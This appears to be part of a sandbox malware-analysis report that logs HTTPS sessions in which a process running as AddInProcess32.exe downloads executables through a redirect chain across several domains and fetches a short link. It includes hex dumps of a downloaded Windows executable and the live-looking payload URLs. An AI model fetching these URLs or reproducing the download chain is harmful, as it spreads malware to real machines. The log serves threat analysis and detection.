2024-03-11 02:30:59 UTC	1369	IN	Data Raw: 44 8f fc 8d 04 8d 00 00 00 00 03 f0 03 f8 ff 24 95 90 39 40 00 8b ff a0 39 40 00 a8 39 40 00 b4 39 40 00 c8 39 40 00 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8a 46 01 88 47 01 8b 45 08 5e 5f c9 c3 8d 49 00 8a 06 88 07 8a 46 01 88 47 01 8a 46 02 88 47 02 8b 45 08 5e 5f c9 c3 90 8d 74 31 fc 8d 7c 39 fc f7 c7 03 00 00 00 75 24 c1 e9 02 83 e2 03 83 f9 08 72 0d fd f3 a5 fc ff 24 95 2c 3b 40 00 8b ff f7 d9 ff 24 8d dc 3a 40 00 8d 49 00 8b c7 ba 03 00 00 00 83 f9 04 72 0c 83 e0 03 2b c8 ff 24 85 30 3a 40 00 ff 24 8d 2c 3b 40 00 90 40 3a 40 00 64 3a 40 00 8c 3a 40 00 8a 46 03 23 d1 88 47 03 83 ee 01 c1 e9 02 83 ef 01 83 f9 08 72 b2 fd f3 a5 fc ff 24 95 2c 3b 40 00 8d 49 00 8a 46 03 23 d1 88 47 03 8a 46 02 c1 e9 02 88 47 02 83 ee 02 Data Ascii: D$9@9@9@9@9@E^_E^_FGE^_IFGFGE^_t1\|9u$r$,;@$:@Ir+$0:@$,;@@:@d:@:@F#Gr$,;@IF#GFG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	55606	104.21.32.142	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:59 UTC	79	OUT	GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1 Host: shipofdestiny.com
2024-03-11 02:30:59 UTC	705	IN	HTTP/1.1 307 Temporary Redirect Date: Mon, 11 Mar 2024 02:30:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://lawyerbuyer.org/26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CoQcpvm1gL5IlJSXjptvQNiZC%2Fd4iiS7L46c16j3Efx2OHJdcMT9GFH4jW0WqP3f%2BY3ieEU9dsOzf57FmbyFEgMMQFkg%2FCXPEA%2FAzpp%2BhfZwNUzF5G6NG3811OAqADg3Xyzp0Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8628202e5ad00ad7-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:30:59 UTC	135	IN	Data Raw: 38 31 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6c 61 77 79 65 72 62 75 79 65 72 2e 6f 72 67 2f 32 36 62 36 32 36 66 65 61 32 39 30 31 35 61 39 66 32 34 65 30 37 61 30 38 66 61 30 31 31 65 34 2f 62 61 66 31 34 37 37 38 63 32 34 36 65 31 35 35 35 30 36 34 35 65 33 30 62 61 37 38 63 65 31 63 2e 65 78 65 22 3e 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 61 3e 2e 0a 0a 0d 0a Data Ascii: 81<a href="https://lawyerbuyer.org/26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe">Temporary Redirect</a>.
2024-03-11 02:30:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	55607	172.67.177.133	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:59 UTC	106	OUT	GET /26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1 Host: ittrade.org
2024-03-11 02:30:59 UTC	686	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:59 GMT Content-Type: application/x-ms-dos-executable Content-Length: 4283768 Connection: close Last-Modified: Sun, 10 Mar 2024 22:52:57 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 3 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=NpTbYJfRA2NQon%2BFm4%2FuyWnK5lYul7lwlUvm16Aox3R%2BU4hOYQMkF3einR5R1zFB%2FoSQeGkE5UXa%2FuywUIqGlqS%2Bzo8d3XPJrSXF2hgifyZ9xveGBZP%2B02Elmxe9Dw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8628202f3ebe0ad9-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:30:59 UTC	683	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a5 10 45 5e e1 71 2b 0d e1 71 2b 0d e1 71 2b 0d 8e 07 80 0d f5 71 2b 0d 8e 07 b5 0d f6 71 2b 0d 8e 07 81 0d b8 71 2b 0d e8 09 b8 0d e2 71 2b 0d e1 71 2a 0d ba 71 2b 0d 8e 07 84 0d e0 71 2b 0d 8e 07 b1 0d e0 71 2b 0d 8e 07 b6 0d e0 71 2b 0d 52 69 63 68 e1 71 2b 0d 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 2b 84 4d 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 96 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$E^q+q+q+q+q+q+q+q*q+q+q+q+Richq+PEL+Mc
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: 66 8c 15 b0 ee 80 00 66 8c 0d a4 ee 80 00 66 8c 1d 80 ee 80 00 66 8c 05 7c ee 80 00 66 8c 25 78 ee 80 00 66 8c 2d 74 ee 80 00 9c 8f 05 a8 ee 80 00 8b 45 00 a3 9c ee 80 00 8b 45 04 a3 a0 ee 80 00 8d 45 08 a3 ac ee 80 00 8b 85 e0 fc ff ff c7 05 e8 ed 80 00 01 00 01 00 a1 a0 ee 80 00 a3 9c ed 80 00 c7 05 90 ed 80 00 09 04 00 c0 c7 05 94 ed 80 00 01 00 00 00 a1 04 d0 80 00 89 85 d8 fc ff ff a1 08 d0 80 00 89 85 dc fc ff ff ff 15 ac b0 40 00 a3 e0 ed 80 00 6a 01 e8 e5 16 00 00 59 6a 00 ff 15 a8 b0 40 00 68 90 b1 40 00 ff 15 6c b0 40 00 83 3d e0 ed 80 00 00 75 08 6a 01 e8 c1 16 00 00 59 68 09 04 00 c0 ff 15 a4 b0 40 00 50 ff 15 a0 b0 40 00 c9 c3 8b ff 55 8b ec 8b 45 08 33 c9 3b 04 cd 10 d0 80 00 74 13 41 83 f9 2d 72 f1 8d 48 ed 83 f9 11 77 0e 6a 0d 58 5d c3 8b Data Ascii: ffff\|f%xf-tEEE@jYj@h@l@=ujYh@P@UE3;tA-rHwjX]
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: c3 8b ff 55 8b ec 6a 00 6a 01 ff 75 08 e8 99 fe ff ff 83 c4 0c 5d c3 6a 01 6a 00 6a 00 e8 89 fe ff ff 83 c4 0c c3 6a 01 6a 01 6a 00 e8 7a fe ff ff 83 c4 0c c3 8b ff 55 8b ec e8 4b 05 00 00 ff 75 08 e8 94 03 00 00 59 68 ff 00 00 00 e8 af ff ff ff cc 68 10 1a 40 00 64 ff 35 00 00 00 00 8b 44 24 10 89 6c 24 10 8d 6c 24 10 2b e0 53 56 57 a1 04 d0 80 00 31 45 fc 33 c5 50 89 65 e8 ff 75 f8 8b 45 fc c7 45 fc fe ff ff ff 89 45 f8 8d 45 f0 64 a3 00 00 00 00 c3 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5f 5e 5b 8b e5 5d 51 c3 cc cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 18 53 8b 5d 0c 56 8b 73 08 33 35 04 d0 80 00 57 8b 06 c6 45 ff 00 c7 45 f4 01 00 00 00 8d 7b 10 83 f8 fe 74 0d 8b 4e 04 03 cf 33 0c 38 e8 b7 f5 ff ff 8b 4e 0c 8b 46 08 03 cf 33 0c 38 e8 a7 f5 ff ff 8b 45 08 Data Ascii: Ujju]jjjjjjzUKuYhh@d5D$l$l$+SVW1E3PeuEEEEdMdY__^[]QUS]Vs35WEE{tN38NF38E
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: ff ff 50 8d 85 08 fe ff ff 50 88 5d fb e8 58 15 00 00 59 50 8d 85 08 fe ff ff 50 56 ff 15 cc b0 40 00 8b 4d fc 5f 5e 33 cd 5b e8 1b f1 ff ff c9 c3 6a 03 e8 e9 18 00 00 59 83 f8 01 74 15 6a 03 e8 dc 18 00 00 59 85 c0 75 1f 83 3d 00 d0 80 00 01 75 16 68 fc 00 00 00 e8 25 fe ff ff 68 ff 00 00 00 e8 1b fe ff ff 59 59 c3 8b ff 55 8b ec 56 e8 85 08 00 00 8b f0 85 f6 0f 84 32 01 00 00 8b 4e 5c 8b 55 08 8b c1 57 39 10 74 0d 83 c0 0c 8d b9 90 00 00 00 3b c7 72 ef 81 c1 90 00 00 00 3b c1 73 04 39 10 74 02 33 c0 85 c0 74 07 8b 50 08 85 d2 75 07 33 c0 e9 f5 00 00 00 83 fa 05 75 0c 83 60 08 00 33 c0 40 e9 e4 00 00 00 83 fa 01 0f 84 d8 00 00 00 8b 4d 0c 53 8b 5e 60 89 4e 60 8b 48 04 83 f9 08 0f 85 b6 00 00 00 6a 24 59 8b 7e 5c 83 64 39 08 00 83 c1 0c 81 f9 90 00 00 00 Data Ascii: PP]XYPPV@M_^3[jYtjYu=uh%hYYUV2N\UW9t;r;s9t3tPu3u`3@MS^`N`Hj$Y~\d9
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: c8 ff e9 0f 02 00 00 8d 90 00 08 00 00 a3 00 55 85 00 89 35 f8 54 85 00 3b c2 73 36 83 c0 05 83 48 fb ff 66 c7 40 ff 00 0a 89 48 03 66 c7 40 1f 00 0a c6 40 21 0a 89 48 33 88 48 2f 8b 35 00 55 85 00 83 c0 40 8d 50 fb 81 c6 00 08 00 00 3b d6 72 cd 53 57 66 39 4d e6 0f 84 0e 01 00 00 8b 45 e8 3b c1 0f 84 03 01 00 00 8b 18 83 c0 04 89 45 fc 03 c3 be 00 08 00 00 89 45 f8 3b de 7c 02 8b de 39 1d f8 54 85 00 7d 6b bf 04 55 85 00 6a 40 6a 20 e8 52 f1 ff ff 59 59 85 c0 74 51 83 05 f8 54 85 00 20 8d 88 00 08 00 00 89 07 3b c1 73 31 83 c0 05 83 48 fb ff 83 60 03 00 80 60 1f 80 83 60 33 00 66 c7 40 ff 00 0a 66 c7 40 20 0a 0a c6 40 2f 00 8b 0f 83 c0 40 03 ce 8d 50 fb 3b d1 72 d2 83 c7 04 39 1d f8 54 85 00 7c a2 eb 06 8b 1d f8 54 85 00 33 ff 85 db 7e 72 8b 45 f8 8b 00 Data Ascii: U5T;s6Hf@Hf@@!H3H/5U@P;rSWf9ME;EE;\|9T}kUj@j RYYtQT ;s1H```3f@f@ @/@P;r9T\|T3~rE
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: 08 6a 0c e8 5b 04 00 00 59 c3 8b ff 57 68 54 bc 40 00 ff 15 bc b0 40 00 8b f8 85 ff 75 09 e8 34 fd ff ff 33 c0 5f c3 56 8b 35 b8 b0 40 00 68 90 bc 40 00 57 ff d6 68 84 bc 40 00 57 a3 2c f9 80 00 ff d6 68 78 bc 40 00 57 a3 30 f9 80 00 ff d6 68 70 bc 40 00 57 a3 34 f9 80 00 ff d6 83 3d 2c f9 80 00 00 8b 35 f0 b0 40 00 a3 38 f9 80 00 74 16 83 3d 30 f9 80 00 00 74 0d 83 3d 34 f9 80 00 00 74 04 85 c0 75 24 a1 ec b0 40 00 a3 30 f9 80 00 a1 f4 b0 40 00 c7 05 2c f9 80 00 82 26 40 00 89 35 34 f9 80 00 a3 38 f9 80 00 ff 15 e8 b0 40 00 a3 c4 d1 80 00 83 f8 ff 0f 84 c1 00 00 00 ff 35 30 f9 80 00 50 ff d6 85 c0 0f 84 b0 00 00 00 e8 dd ec ff ff ff 35 2c f9 80 00 8b 35 88 b0 40 00 ff d6 ff 35 30 f9 80 00 a3 2c f9 80 00 ff d6 ff 35 34 f9 80 00 a3 30 f9 80 00 ff d6 ff 35 Data Ascii: j[YWhT@@u43_V5@h@Wh@W,hx@W0hp@W4=,5@8t=0t=4tu$@0@,&@548@50P5,5@50,5405
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: c0 75 08 6a 11 e8 c7 ea ff ff 59 ff 36 ff 15 1c b1 40 00 5e 5d c3 6a 08 68 50 bf 80 00 e8 cd ea ff ff e8 41 f9 ff ff 8b 40 78 85 c0 74 16 83 65 fc 00 ff d0 eb 07 33 c0 40 c3 8b 65 e8 c7 45 fc fe ff ff ff e8 a0 17 00 00 e8 e6 ea ff ff c3 68 d7 2e 40 00 ff 15 88 b0 40 00 a3 90 fa 80 00 c3 8b ff 55 8b ec 8b 45 08 a3 94 fa 80 00 a3 98 fa 80 00 a3 9c fa 80 00 a3 a0 fa 80 00 5d c3 8b ff 55 8b ec 8b 45 08 8b 0d 4c bc 40 00 56 39 50 04 74 0f 8b f1 6b f6 0c 03 75 08 83 c0 0c 3b c6 72 ec 6b c9 0c 03 4d 08 5e 3b c1 73 05 39 50 04 74 02 33 c0 5d c3 ff 35 9c fa 80 00 ff 15 8c b0 40 00 c3 6a 20 68 70 bf 80 00 e8 21 ea ff ff 33 ff 89 7d e4 89 7d d8 8b 5d 08 83 fb 0b 7f 4b 74 15 8b c3 6a 02 59 2b c1 74 22 2b c1 74 08 2b c1 74 59 2b c1 75 43 e8 f5 f7 ff ff 8b f8 89 7d d8 Data Ascii: ujY6@^]jhPA@xte3@eEh.@@UE]UEL@V9Ptku;rkM^;s9Pt3]5@j hp!3}}]KtjY+t"+t+tY+uC}
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: cc cc cc cc cc cc 8b 4c 24 04 f7 c1 03 00 00 00 74 24 8a 01 83 c1 01 84 c0 74 4e f7 c1 03 00 00 00 75 ef 05 00 00 00 00 8d a4 24 00 00 00 00 8d a4 24 00 00 00 00 8b 01 ba ff fe fe 7e 03 d0 83 f0 ff 33 c2 83 c1 04 a9 00 01 01 81 74 e8 8b 41 fc 84 c0 74 32 84 e4 74 24 a9 00 00 ff 00 74 13 a9 00 00 00 ff 74 02 eb cd 8d 41 ff 8b 4c 24 04 2b c1 c3 8d 41 fe 8b 4c 24 04 2b c1 c3 8d 41 fd 8b 4c 24 04 2b c1 c3 8d 41 fc 8b 4c 24 04 2b c1 c3 8b ff 55 8b ec 83 ec 24 a1 04 d0 80 00 33 c5 89 45 fc 8b 45 08 53 89 45 e0 8b 45 0c 56 57 89 45 e4 e8 a8 f1 ff ff 83 65 ec 00 83 3d b0 fa 80 00 00 89 45 e8 75 7d 68 00 bd 40 00 ff 15 20 b0 40 00 8b d8 85 db 0f 84 10 01 00 00 8b 3d b8 b0 40 00 68 f4 bc 40 00 53 ff d7 85 c0 0f 84 fa 00 00 00 8b 35 88 b0 40 00 50 ff d6 68 e4 bc 40 Data Ascii: L$t$tNu$$~3tAt2t$ttAL$+AL$+AL$+AL$+U$3EESEEVWEe=Eu}h@ @=@h@S5@Ph@
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: f8 8b 44 8e fc 89 44 8f fc 8d 04 8d 00 00 00 00 03 f0 03 f8 ff 24 95 90 39 40 00 8b ff a0 39 40 00 a8 39 40 00 b4 39 40 00 c8 39 40 00 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8a 46 01 88 47 01 8b 45 08 5e 5f c9 c3 8d 49 00 8a 06 88 07 8a 46 01 88 47 01 8a 46 02 88 47 02 8b 45 08 5e 5f c9 c3 90 8d 74 31 fc 8d 7c 39 fc f7 c7 03 00 00 00 75 24 c1 e9 02 83 e2 03 83 f9 08 72 0d fd f3 a5 fc ff 24 95 2c 3b 40 00 8b ff f7 d9 ff 24 8d dc 3a 40 00 8d 49 00 8b c7 ba 03 00 00 00 83 f9 04 72 0c 83 e0 03 2b c8 ff 24 85 30 3a 40 00 ff 24 8d 2c 3b 40 00 90 40 3a 40 00 64 3a 40 00 8c 3a 40 00 8a 46 03 23 d1 88 47 03 83 ee 01 c1 e9 02 83 ef 01 83 f9 08 72 b2 fd f3 a5 fc ff 24 95 2c 3b 40 00 8d 49 00 8a 46 03 23 d1 88 47 03 8a 46 02 c1 e9 02 Data Ascii: DD$9@9@9@9@9@E^_E^_FGE^_IFGFGE^_t1\|9u$r$,;@$:@Ir+$0:@$,;@@:@d:@:@F#Gr$,;@IF#GF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	55623	104.21.32.142	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:59 UTC	79	OUT	GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1 Host: shipofdestiny.com
2024-03-11 02:30:59 UTC	705	IN	HTTP/1.1 307 Temporary Redirect Date: Mon, 11 Mar 2024 02:30:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://lawyerbuyer.org/26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=KE8lvFeduCIN3ASFL86wXY4YMYXcblVTnN27pr9v7fvdAWpNGx%2BczWLVOL%2FGjPAmEFh2X8sFXjCFkzlwZ%2FYnvgq6%2FhfZahXzzROeG4QTcXtLJgloF6Orb%2Fx8BtHDB7XKzQrnlw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8628202f48e109ff-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:30:59 UTC	135	IN	Data Raw: 38 31 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6c 61 77 79 65 72 62 75 79 65 72 2e 6f 72 67 2f 32 36 62 36 32 36 66 65 61 32 39 30 31 35 61 39 66 32 34 65 30 37 61 30 38 66 61 30 31 31 65 34 2f 62 61 66 31 34 37 37 38 63 32 34 36 65 31 35 35 35 30 36 34 35 65 33 30 62 61 37 38 63 65 31 63 2e 65 78 65 22 3e 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 61 3e 2e 0a 0a 0d 0a Data Ascii: 81<a href="https://lawyerbuyer.org/26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe">Temporary Redirect</a>.
2024-03-11 02:30:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	55624	172.67.200.219	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:59 UTC	38	OUT	GET /ppg8x HTTP/1.1 Host: sty.ink
2024-03-11 02:31:00 UTC	1188	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private Set-Cookie: XSRF-TOKEN=eyJpdiI6ImxwK2wvUXlySG43RXJ3N29UNzJBRkE9PSIsInZhbHVlIjoib1F4dTkraitXMXUyS0NKMFNKU2hSa3E0ZFdvU0dxZnFhdEZvRFh5TXhCRXdZczFpWTMvQmp2bVBkWHdKQzZSS1hDRU5WOFZLTW5pRmRuRnZEd2ZSOEI5dnpzeGpDa1hzSVgrR0gzR1U1R1BvOHUyOVpydmlqS25paCthN21wd0siLCJtYWMiOiJkOTA5NzVkMGQ1ZDM1MjYwM2RlNDU2MDAxYmE0NmE0NzVhNTY2M2M4ZjNkYjBmYjEyYzJjNzhmNjA5Mzc4OGU3IiwidGFnIjoiIn0%3D; expires=Mon, 11 Mar 2024 04:30:59 GMT; Max-Age=7200; path=/; secure set-cookie: shortiny_session=eyJpdiI6ImQ3QjlKZjd0aTUyTGprU3orV2tsb0E9PSIsInZhbHVlIjoiaStrdGpvT3lTNWZVdDB0U01TTkNLV0c4QzZZQkEvOTZ1djMvRjc4bG5ZYy9mU2lMdHcxQ3NxTzNtNE1tTGtEQ2xzS1pUcm1RV1BnVHcxZDJ1bGQ3SzJkQnE0TDNGSnJQbEEvL0tkNXZsM1p3OWt3UHNqM1lFQ1dvRmdrbFFkVWEiLCJtYWMiOiIzNmZlZDJhYjk4NjA2ZTQyYTVkODVkNWNmN2I5NGY4ZjQ5NzMwODNmMTJiYzQxNzZiYTg4ZTQwMDk4ZTA3ODNkIiwidGFnIjoiIn0%3D; expires=Mon, 11 Mar 2024 04:30:59 GMT; Max-Age=7200; path=/; httponly X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=15768000 CF-Cache-Status: DYNAMIC
2024-03-11 02:31:00 UTC	393	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 42 45 44 6d 6c 69 25 32 42 34 46 52 4f 5a 56 53 4d 58 74 47 39 43 33 4c 43 56 42 37 46 61 52 4f 77 77 45 46 46 49 5a 6e 53 72 68 4e 63 50 35 79 46 72 75 6e 30 63 39 71 43 4b 68 51 36 66 7a 4d 53 46 48 70 61 33 36 57 37 39 25 32 42 69 31 69 73 70 78 77 73 36 78 72 64 37 48 6c 30 66 6b 39 71 68 6c 58 25 32 46 33 45 6f 51 70 4c 65 30 36 50 31 75 48 32 59 67 4b 68 44 39 50 37 30 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 4e 45 4c 3a 20 7b 22 73 75 63 63 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BEDmli%2B4FROZVSMXtG9C3LCVB7FaROwwEFFIZnSrhNcP5yFrun0c9qCKhQ6fzMSFHpa36W79%2Bi1ispxws6xrd7Hl0fk9qhlX%2F3EoQpLe06P1uH2YgKhD9P70"}],"group":"cf-nel","max_age":604800}NEL: {"succ
2024-03-11 02:31:00 UTC	1369	IN	Data Raw: 65 31 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 63 6c 61 73 73 3d 22 68 2d 31 30 30 20 73 63 72 6f 6c 6c 2d 62 65 68 61 76 69 6f 72 2d 73 6d 6f 6f 74 68 20 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 43 53 52 46 20 54 6f 6b 65 6e 20 2d 2d 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 74 6f 6b 65 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 Data Ascii: e1b<!DOCTYPE html><html lang="en" class="h-100 scroll-behavior-smooth " dir="ltr"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> ... CSRF Token --> <meta name="csrf-token" content="
2024-03-11 02:31:00 UTC	1369	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 68 6f 72 74 69 6e 79 2e 63 6f 6d 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 70 72 69 6d 61 72 79 22 3e 47 6f 20 62 61 63 6b 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 66 6f 6f 74 65 72 20 69 64 3d 22 66 6f 6f 74 65 72 22 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 20 62 67 2d 62 61 73 65 2d 30 20 64 2d 70 72 69 6e 74 2d 6e 6f 6e 65 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 Data Ascii: <a href="https://shortiny.com" class="btn btn-primary">Go back</a> </div> </div> </div> </div></div> <footer id="footer" class="footer bg-base-0 d-print-none"> <div class="container
2024-03-11 02:31:00 UTC	880	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 69 78 65 64 2d 62 6f 74 74 6f 6d 20 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 2d 6e 6f 6e 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 2d 66 6c 65 78 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 20 61 6c 69 67 6e 2d 69 74 65 6d 73 2d 63 65 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 6f 72 64 65 72 2d 30 20 6d 74 2d 30 20 6d 72 2d 33 20 6d 62 2d 33 20 6d 6c 2d 33 20 70 2d 32 20 72 6f 75 6e 64 65 64 20 63 6f 6f 6b 69 65 2d 62 61 6e 6e 65 72 20 Data Ascii: </div> </div> </div> <div class="fixed-bottom pointer-events-none"> <div class="d-flex justify-content-center align-items-center"> <div class="border-0 mt-0 mr-3 mb-3 ml-3 p-2 rounded cookie-banner
2024-03-11 02:31:00 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-03-11 02:31:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	55617	172.67.168.159	443	44932	C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe

Timestamp	Bytes transferred	Direction	Data
